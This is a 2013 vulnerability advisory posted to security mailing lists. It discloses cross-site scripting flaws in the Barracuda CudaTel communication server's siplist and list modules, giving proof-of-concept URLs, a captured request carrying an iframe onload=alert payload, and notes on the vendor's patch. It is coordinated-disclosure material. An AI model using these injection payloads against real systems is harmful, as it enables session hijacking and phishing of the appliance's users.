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Message-ID: <51CCCFD9.4060603@vulnerability-lab.com>
Date: Fri, 28 Jun 2013 00:50:49 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: Barracuda CudaTel 2.6.02.04 - Multiple Web Vulnerabilities
Title:
======
Barracuda CudaTel 2.6.02.04 - Multiple Web Vulnerabilities
Date:
=====
2013-06-25
References:
===========
http://vulnerability-lab.com/get_content.php?id=778
BARRACUDA NETWORK SECURITY ID: BNSEC-811
VL-ID:
=====
778
Common Vulnerability Scoring System:
====================================
2.5
Introduction:
=============
Designed to enable seamless voice and video communication, the CudaTel Communication Server is an easy-to-use,
affordable, next-generation phone system for businesses. CudaTel Communication Server s enterprise-class
feature set includes Voice over IP (VoIP) PBX services, conferencing, follow-me, automated attendant services,
and more, controlled by an easy-to-use Web interface. CudaTel Communication Server is compatible with any SIP
device and provider, and can be pre-configured for use with both analog and digital telephone networks. Powerful,
Complete Solution With an expansive feature set and and no per user or phone licensing fees, the CudaTel
Communication Server is equipped and priced for organizations of any size. Native High Definition audio support
and integrated phone line (TDM) hardware produces an unparalleled audio experience. VOIP encryption protects calls
from hackers and digital eavesdroppers.
(Copy of the Vendor Homepage: http://www.barracudanetworks.ca/cudatel.aspx )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple client side vulnerabilities in the Barracuda Networks CudaTel v2.6.002.040 appliance application.
Report-Timeline:
================
2012-11-27: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2012-11-28: Vendor Notification (Barracuda Networks Security - Bug Bounty Program)
2012-12-01: Vendor Response/Feedback (Barracuda Networks Security - Bug Bounty Program)
2013-03-14: Vendor Fix/Patch (Barracuda Networks Developer) [Coordination: Dave Farrow]
2012-06-25: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
Barracuda Networks
Product: CudaTel - Communication Server 2.6.002.040
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
Multiple client side input validation vulnerabilities are detected in the Barracuda Networks CudaTel v2.6.002.040 appliance application.
The non-persistent vulnerabilities allows an attacker (remote) to manipulate client side application to browser requests.
The vulnerability (client side) is located in the siplist and list module when processing to request manipulated bbx_provider_gateway_name,
bbx_provider_gateway_username or bbx_provider_gateway_host parameter listing.
Exploitation of the vulnerability requires medium application user interaction. Successful exploitation of the vulnerability results in
client side phishing, client side session hijacking, client side external redirects to malware or evil websites and client side module
context manipulation(cache).
Vulnerable Module(s):
[+] siplist - Listing
[+] list - Listing
Vulnerable Parameter(s):
[+] bbx_provider_gateway_name
[+] bbx_provider_gateway_username
[+] bbx_provider_gateway_host
Proof of Concept:
=================
The client side input validation vulnerabilities can be exploited by remote attackers without required application user account and with
medium or high required user interaction. For demonstration or reproduce ...
Path:
gui/gateway/siplist
gui/gateway/list
Parameter:
undefined, bbx_provider, rows, page & searchstring
Values:
bbx_provider_gateway_name, bbx_provider_gateway_username & bbx_provider_gateway_host
Review: List
<pre>---
count: 1
list:
-
bbx_domain_id: 6
bbx_extension_block_begin: 2008
bbx_extension_block_end: 2008
bbx_extension_id: 26
bbx_extension_id_primary: 26
bbx_extension_rcd: 2012-11-26 15:58:45.413912
bbx_extension_rpd: 2012-11-26 15:58:45.413912
bbx_extension_value: 2008
bbx_queue_id: 12
flag_auto_provision: 0
flag_external: 0
flag_locked: 0
flag_primary: 1
flag_standalone: 1
flag_super: 0
flag_voicemail: 0​​​​​
show_name: "\"><[PERSISTENT INJECTED SCRIPT CODE!]>"
sort_name: "\"><[PERSISTENT INJECTED SCRIPT CODE!]>"​​​​​
type: queue
page: 1
rows: 25
</pre>
Review: SipList
<pre>---
count: 4
page: 1
rows: 30
siplist:
-
bbx_provider_gateway_flag_inbound: 1
bbx_provider_gateway_flag_outbound: 1
bbx_provider_gateway_host: ​​​​​"\">/\"/'\"​​​​​<[PERSISTENT INJECTED SCRIPT CODE!]>"
bbx_provider_gateway_id: 22
bbx_provider_gateway_name: "\"><[PERSISTENT INJECTED SCRIPT CODE!]>"
bbx_provider_gateway_port: 5060
bbx_provider_gateway_state: REFRESH
bbx_provider_gateway_username: "\">/\"/'\"<[PERSISTENT INJECTED SCRIPT CODE!]>"
bbx_provider_name: Generic SIP
-
bbx_provider_gateway_flag_inbound: 1
bbx_provider_gateway_flag_outbound: 1
bbx_provider_gateway_host: <[PERSISTENT INJECTED SCRIPT CODE!]")<
bbx_provider_gateway_id:="" 23=""
bbx_provider_gateway_name:="" <[PERSISTENT INJECTED SCRIPT CODE!];)"
<="" <iframe="">%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]") <
bbx_provider_gateway_port: <[PERSISTENT INJECTED SCRIPT CODE!]")<
bbx_provider_gateway_state: NOREG
bbx_provider_gateway_username: <[PERSISTENT INJECTED SCRIPT CODE!]")<
bbx_provider_name: PSTN Gateway
-
bbx_provider_gateway_flag_inbound: 1
bbx_provider_gateway_flag_outbound: 1
bbx_provider_gateway_host: "\"<h1>test</h1>"
bbx_provider_gateway_id: 21
bbx_provider_gateway_name: \\"<[PERSISTENT INJECTED SCRIPT CODE!]>
bbx_provider_gateway_port: 5060
bbx_provider_gateway_state: ~
bbx_provider_gateway_username: "\"<[PERSISTENT INJECTED SCRIPT CODE!]>"
bbx_provider_name: Generic SIP
-
bbx_provider_gateway_flag_inbound: 1
bbx_provider_gateway_flag_outbound: 1
bbx_provider_gateway_host: test.com
bbx_provider_gateway_id: 20
bbx_provider_gateway_name: test
bbx_provider_gateway_port: 5060
bbx_provider_gateway_state: NOREG
bbx_provider_gateway_username: test
bbx_provider_name: Generic SIP
</pre></body></html></iframe></[PERSISTENT INJECTED SCRIPT CODE!]")<></iframesrc=a></pre>
PoC:
http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=%3E%22%3C%3C[PERSISTENT INJECTED SCRIPT CODE!]%20%3C&rows=10&page=1&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=
http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=&rows=%3E%22%3C%3C[PERSISTENT INJECTED SCRIPT CODE!]%20%3C&page=1&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=
http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=&rows=10&page=%3E%22%3C%3C[PERSISTENT INJECTED SCRIPT CODE!]%20%3C&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=
http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=&rows=10&page=1&sortby=bbx_provider_gateway_name=%3C[PERSISTENT INJECTED SCRIPT CODE!]&sortorder=asc&searchstring=
http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?
_=1354065786075&undefined=&rows=10&page=1&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=%3C[PERSISTENT INJECTED SCRIPT CODE!]
http://cudatel.ptest.cudasvc.com/gui/gateway/list?
_=1354065786075&undefined=%3E%22%3C%3C[PERSISTENT INJECTED SCRIPT CODE!]%20%3C&rows=10&page=1&sortby=bbx_provider_gateway_name&sortorder=asc&searchstring=
http://cudatel.ptest.cudasvc.com/gui/gateway/list?
_=1354065786075&undefined=&rows=10&page=1&sortby=bbx_provider_gateway_name=[PERSISTENT INJECTED SCRIPT CODE!]%20%3C&sortorder=asc&searchstring=
ALL:
cudatel.ptest.cudasvc.com/gui/gateway/siplist?_=1354065786075&undefined=<[PERSISTENT INJECTED SCRIPT CODE!]<&rows=
<[PERSISTENT INJECTED SCRIPT CODE!]<&page=<[PERSISTENT INJECTED SCRIPT CODE!]<&sortby=bbx_provider_gateway_name=<[PERSISTENT INJECTED SCRIPT CODE!]<
cudatel.ptest.cudasvc.com/gui/gateway/list?_=1354065786075&undefined=<[PERSISTENT INJECTED SCRIPT CODE!]<&rows=
<[PERSISTENT INJECTED SCRIPT CODE!]<&page=<[PERSISTENT INJECTED SCRIPT CODE!]<&sortby=bbx_provider_gateway_name=<[PERSISTENT INJECTED SCRIPT CODE!]<
Request(s):
2:30:07.550[851ms][total 9418ms] Status: 200[OK]
GET http://cudatel.ptest.cudasvc.com/gui/gateway/siplist?_=1354065786075&undefined=%3Ciframe%20src=a%3E
%20%20%20%20%22%3E%3Ciframe%20src=a%20onload=alert(%22VL%22)%20%3C&rows=%3Ciframe%20src=a%3E%20%20%20%20%22%3E%3Ciframe%20src=
a%20onload=alert(%22VL%22)%20%3C
&page=%3Ciframe%20src=a%3E%20%20%20%20%22%3E%3Ciframe%20src=a%20onload=alert(%22VL%22)%20%3C&sortby=bbx_provider_gateway_name=
%3Ciframe%20src=a%3E%20%20%20%20
%22%3E%3Ciframe%20src=a%20onload=alert(%22VL%22)%20%3C&sortorder=asc&searchstring=%3Ciframe%20src=a%3E%20%20%20%20%22%3E%3Ciframe
%20src=a%20onload=alert(%22VL
%22)%20%3C Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1833] Mime Type[text/html]
Request Header:
Host
[cudatel.ptest.cudasvc.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/17.0 Firefox/17.0]
Accept[text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Connection[keep-alive]
Cookie[cookietest=1; bps_session=86bd13e59f90e0f8670a547c0d0ce57e710393d6]
Response Header:
Date[Wed, 28 Nov 2012 01:30:08 GMT]
Server[BarracudaHTTP 2.0/2.2.10 (Unix) mod_auth_pgsql/2.0.3 mod_fastcgi/mod_fastcgi-SNAP-0811090952 mod_ssl/2.2.10
OpenSSL/0.9.8x mod_perl/2.0.2 Perl/v5.8.8]
Vary[Content-Type]
Set-Cookie[bps_session=86bd13e59f90e0f8670a547c0d0ce57e710393d6; path=/]
Content-Length[1833]
Cache-Control[must-revalidate]
Expires[Thu, 28 Nov 2013 01:30:08 GMT]
Keep-Alive[timeout=5, max=100]
Connection[Keep-Alive]
Content-Type[text/html]
Reference(s):
cudatel.ptest.cudasvc.com/gui/gateway/siplist
cudatel.ptest.cudasvc.com/gui/gateway/list
Solution:
=========
2013-03-14: Vendor Fix/Patch (Barracuda Networks Developer) [Coordination: Dave Farrow]
Note: The upgrade is available to all customer of the appliance module and can be done automatic or manually in the customer center of barracuda networks.
Risk:
=====
The security risk of the (multiple) client side input validation vulnerabilities in the siplist and list module are estimated as medium.
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@...nerability-lab.com)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
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